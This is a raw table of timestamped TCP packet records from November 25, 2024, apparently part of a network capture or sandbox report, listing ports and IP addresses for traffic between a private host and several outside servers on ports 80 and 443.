Nov 25, 2024 07:53:22.896420002 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.896466970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.896466970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.896897078 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.896950960 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.897000074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.897068977 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.897747040 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.897793055 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.897815943 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.897835016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.898561954 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.898650885 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.898689032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.898689032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.899391890 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.899444103 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.899477959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.899522066 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.900216103 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.900255919 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.900331974 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.900383949 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.901047945 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.901101112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.901118040 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.901240110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.902020931 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.902081013 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.902081966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.902203083 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.902719021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.902766943 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.902884960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.903044939 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.903621912 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.903645992 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.903682947 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.903703928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.904414892 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.904428959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.904469967 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.905200005 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.905294895 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.905328035 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.905534983 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.906053066 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.906131029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.906164885 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.906164885 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.906817913 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.906896114 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.906939030 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.907040119 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.907670975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.907716036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.907778025 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.907969952 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.908507109 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.908596992 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.908622026 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.908677101 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.909341097 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.909352064 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.909414053 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.939642906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.939744949 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.939773083 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.939805031 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.940061092 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.940166950 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.940192938 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.940210104 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.940916061 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.940988064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.941030025 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.941118002 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.941723108 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.941792965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.942190886 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.942254066 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.942311049 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.942508936 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.942532063 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.942543030 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.942548990 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.946049929 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.946084023 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.946165085 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.946482897 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.946496010 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.962002039 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.962027073 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.962146997 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.962157011 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.962243080 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.966411114 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.966433048 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.966486931 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.966501951 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.966561079 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.966561079 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.969366074 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.969386101 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.969428062 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.969435930 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.969482899 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.969482899 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.973512888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.973531008 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.973584890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.973592997 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.973633051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.977551937 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.977569103 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.977608919 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.977622032 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.977664948 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.977664948 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.978775978 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.978828907 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.978835106 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.978864908 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.978902102 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.978902102 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.981664896 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.981683969 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.981724024 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.981730938 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.981765985 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.981780052 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.989780903 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.989798069 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.989857912 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.989875078 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.989928961 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.996993065 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.997009993 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.997055054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.997068882 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.997080088 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.997109890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.998980999 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.998990059 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.001997948 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.002065897 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.002121925 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.002121925 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.002425909 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.002494097 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.002509117 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.002558947 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.003276110 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.003329039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.003360987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.003420115 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.004086018 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.004194975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.004360914 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.004403114 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.004426003 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.004437923 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.005171061 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.005254030 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.005300999 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.005575895 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.005594969 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.005611897 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.005646944 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.005654097 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.005695105 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.005713940 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.006011963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.006057024 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.006131887 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.006438971 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.006885052 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.006951094 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.006990910 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.007045031 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.007662058 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.007719040 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.007739067 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.007759094 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.008507967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.008548021 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.008568048 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.008616924 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.009334087 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.009424925 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.009434938 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.009483099 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.012733936 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.012751102 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.012808084 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.012814999 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.012852907 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.020948887 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.020965099 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.021042109 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.021049976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.021095037 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.046511889 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.046535015 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.046638966 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.046654940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.046749115 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.053726912 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.053750992 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.053841114 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.053852081 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.053889036 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.061955929 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.061970949 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.062051058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.062060118 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.062105894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.064385891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.064404964 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.064470053 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.064470053 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.064795017 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.064888000 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.064896107 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.065134048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.065642118 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.065659046 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.065788984 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.065788984 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.066447020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.066565990 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.066751003 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.066764116 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.066822052 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.066822052 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.067528963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.067668915 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.067675114 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.067738056 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.068367958 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.068418026 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.068464994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.068597078 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.069211960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.069287062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.069341898 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.070031881 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.070175886 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.070197105 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.070246935 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.070266008 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.070298910 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.070420980 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.070429087 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.070463896 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.070837021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.070939064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.070972919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.071026087 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.071708918 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.071759939 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.071804047 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.071887016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.072496891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.072551012 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.072598934 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.072598934 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.073322058 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.073391914 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.073431015 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.073476076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.074146032 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.074203014 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.074259043 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.074403048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.075030088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.075047016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.075090885 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.075119972 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.075840950 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.075953007 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.075953007 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.076179981 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.076637983 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.076673985 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.076735973 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.076735973 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.077472925 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.077595949 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.077604055 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.077660084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.077892065 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.077910900 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.078012943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.078022003 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.078162909 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.078325987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.078433037 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.078449965 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.078550100 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.079159975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.079173088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.079236984 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.079988003 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.080044031 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.080091000 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.086000919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.086086035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.086169004 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.086232901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.086307049 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.086323023 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.086369038 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.086421967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.086442947 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.086448908 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.086493969 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.086512089 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.086513996 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.086628914 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.087249994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.087332964 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.087364912 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.087403059 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.088143110 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.088192940 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.088280916 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.088280916 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.088874102 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.088920116 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.088975906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.089025021 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.089801073 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.089883089 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.089936018 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.090600967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.090655088 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.090733051 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.090918064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.091406107 CET	80	49722	185.215.113.206	192.168.2.6
